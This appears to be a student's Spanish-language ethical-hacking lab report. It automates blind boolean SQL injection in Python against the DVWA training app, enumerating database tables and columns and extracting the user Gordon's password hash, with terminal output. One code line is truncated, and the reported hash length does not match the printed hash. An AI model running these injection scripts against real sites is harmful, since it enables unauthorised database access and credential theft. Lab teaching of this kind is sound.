HACKING ÉTICO

Unidad 2. Actividad 25

31 DE ENERO DE 2024

CARLOS DÍAZ MONTES
ESPECIALIZACIÓN DE CIBERSEGURIDAD

Índice

Automatización SQLi con Python

Ejercicio 1: Número de tablas de la BD

Obtener el número de tablas de la base de datos

```python
# Obtener número de tablas de la base de datos
# 2' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=1 #

for num_tablas in range(1, 20):
    inyeccion=f"2' and (select count(table_name) from information_schema.tables where table_schema='dvwa')={num_tablas} -- "
    resp = requests.get(url=server+f"/dvwa/vulnerabilities/sqli_blind/?id={inyeccion}&Submit=Submit#",headers={"Cookie":cookie})
    if "User ID exists in the database." in resp.text:
        break
print("El numero de tablas de la BD es ", num_tablas)
```

Ejercicio 2: Nombre de las tablas

Obtener el nombre de las tablas de la base de datos

```python
    nombre_tabla=""
    for posicion in range(1,longitud_tabla+1):
        for caracter in range(48, 123):
            inyeccion=f"2' and (SELECT ascii(substr(table_name,{posicion},1)) FROM information_schema.tables WHERE table_schema='dvwa' LIMIT
            resp = requests.get(url=server+f"/dvwa/vulnerabilities/sqli_blind/?id={inyeccion}&Submit=Submit#",headers={"Cookie":cookie})

            if "User ID exists in the database." in resp.text:
                nombre_tabla+=chr(caracter)
                break
    print(f"El nombre de la tabla {num_tabla} es {nombre_tabla}")
```

```
PROBLEMS 2  OUTPUT  DEBUG CONSOLE  TERMINAL  PORTS                Python

┌──(kali㉿kali)-[~/automatizacion]
└─$ /bin/python /home/kali/automatizacion/U5A25-blind-boolean.py
La longitud de la BD es  4
El nombre de la BD es  dvwa
El numero de tablas de la BD es  2
la longitud de la tabla 0 es 9
El nombre de la tabla 0 es guestbook
la longitud de la tabla 1 es 5
El nombre de la tabla 1 es users
```

Ejercicio 3: Columnas de las tablas

Para cada tabla, obtener los nombres de cada una de sus columnas (necesitas primero el número de columnas de la tabla)

El contenido:

```python
# De cada tabla necesito: 1) número de columnas, 2) número de letras de cada columna, 3) nombre de cada columna.
# número de columnas:


#######Nombre de las columnas######
# Obtener nombre de columnas
for num_columnas in range(1, 20):
    inyeccion = f"2' and (select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='{nombre_tabla}')={num_columnas} -- "
    resp = requests.get(url=server + f"/dvwa/vulnerabilities/sqli_blind/?id={inyeccion}&Submit=Submit#",
                        headers={"Cookie": cookie})
    if "User ID exists in the database." in resp.text:
        break
print(f"El numero de columnas de la tabla {nombre_tabla} es {num_columnas}")

for num_columna in range(0, num_columnas):
    for longitud_columna in range(1, 20):
        inyeccion = f"2' AND (SELECT length(column_name) FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='{nombre_tabla}' LIMIT 1 OFFSET {num_columna})={longitud_columna} -- -"
        resp = requests.get(url=server + f"/dvwa/vulnerabilities/sqli_blind/?id={inyeccion}&Submit=Submit#",
                            headers={"Cookie": cookie})
        if "User ID exists in the database." in resp.text:
            break
    print(f"La longitud de la columna {num_columna} de la tabla {nombre_tabla} es {longitud_columna}")

    nombre_columna = ""
    for posicion in range(1, longitud_columna + 1):
        for caracter in range(48, 123):
            inyeccion = f"2' and (SELECT ascii(substr(column_name,{posicion},1)) FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='{nombre_tabla}' LIMIT 1 OFFSET {num_columna})={caracter} -- -"
            resp = requests.get(url=server + f"/dvwa/vulnerabilities/sqli_blind/?id={inyeccion}&Submit=Submit#",
                                headers={"Cookie": cookie})

            if "User ID exists in the database." in resp.text:
                nombre_columna += chr(caracter)
                break
    print(f"El nombre de la columna {num_columna} de la tabla {nombre_tabla} es {nombre_columna}")
```

El resultado:

```
El nombre de la BD es  dvwa
El numero de tablas de la BD es  2
la longitud de la tabla 0 es 9
El nombre de la tabla 0 es guestbook
El numero de columnas de la tabla guestbook es 3
La longitud de la columna 0 de la tabla guestbook es 10
El nombre de la columna 0 de la tabla guestbook es comment_id
La longitud de la columna 1 de la tabla guestbook es 7
El nombre de la columna 1 de la tabla guestbook es comment
La longitud de la columna 2 de la tabla guestbook es 4
El nombre de la columna 2 de la tabla guestbook es name
la longitud de la tabla 1 es 5
El nombre de la tabla 1 es users
El numero de columnas de la tabla users es 8
La longitud de la columna 0 de la tabla users es 7
El nombre de la columna 0 de la tabla users es user_id
La longitud de la columna 1 de la tabla users es 10
El nombre de la columna 1 de la tabla users es first_name
La longitud de la columna 2 de la tabla users es 9
El nombre de la columna 2 de la tabla users es last_name
La longitud de la columna 3 de la tabla users es 4
El nombre de la columna 3 de la tabla users es user
La longitud de la columna 4 de la tabla users es 8
El nombre de la columna 4 de la tabla users es password
La longitud de la columna 5 de la tabla users es 6
El nombre de la columna 5 de la tabla users es avatar
La longitud de la columna 6 de la tabla users es 10
El nombre de la columna 6 de la tabla users es last_login
La longitud de la columna 7 de la tabla users es 12
El nombre de la columna 7 de la tabla users es failed_login
```

Ejercicio 4: Credenciales del usuario Gordon

Usa lo que has obtenido para sacar la contraseña (bueno, el hash) del usuario Gordon (first_name=Gordon)

El código que he usado es:

```python
# Obtener longitud del hash del usuario Gordon
for longitud_hash in range(1, 50):
    inyeccion = f"2' AND (SELECT length(password) FROM users WHERE user='gordon')={longitud_hash} -- -"
    resp = requests.get(url=server + f"/dvwa/vulnerabilities/sqli_blind/?id={inyeccion}&Submit=Submit#",
                        headers={"Cookie": cookie})
    if "User ID exists in the database." in resp.text:
        break
print("La longitud del hash del usuario Gordon es ", longitud_hash)

# Obtener el hash del usuario Gordon
hash_gordon = ""
for posicion in range(1, longitud_hash + 1):
    for caracter in range(48, 123):
        inyeccion = f"2' AND ascii(substr((SELECT password FROM users WHERE first_name='gordon'),{posicion},1))={caracter} -- -"
        resp = requests.get(url=server + f"/dvwa/vulnerabilities/sqli_blind/?id={inyeccion}&Submit=Submit#",
                            headers={"Cookie": cookie})

        if "User ID exists in the database." in resp.text:
            hash_gordon += chr(caracter)
            break
print("El hash del usuario Gordon es ", hash_gordon)
```

El hash es:

```
El nombre de la columna 7 de la tabla users es failed_login
La longitud del hash del usuario Gordon es  49
El hash del usuario Gordon es  e99a18c428cb38d5f260853678922e03

┌──(kali㉿kali)-[~/automatizacion]
```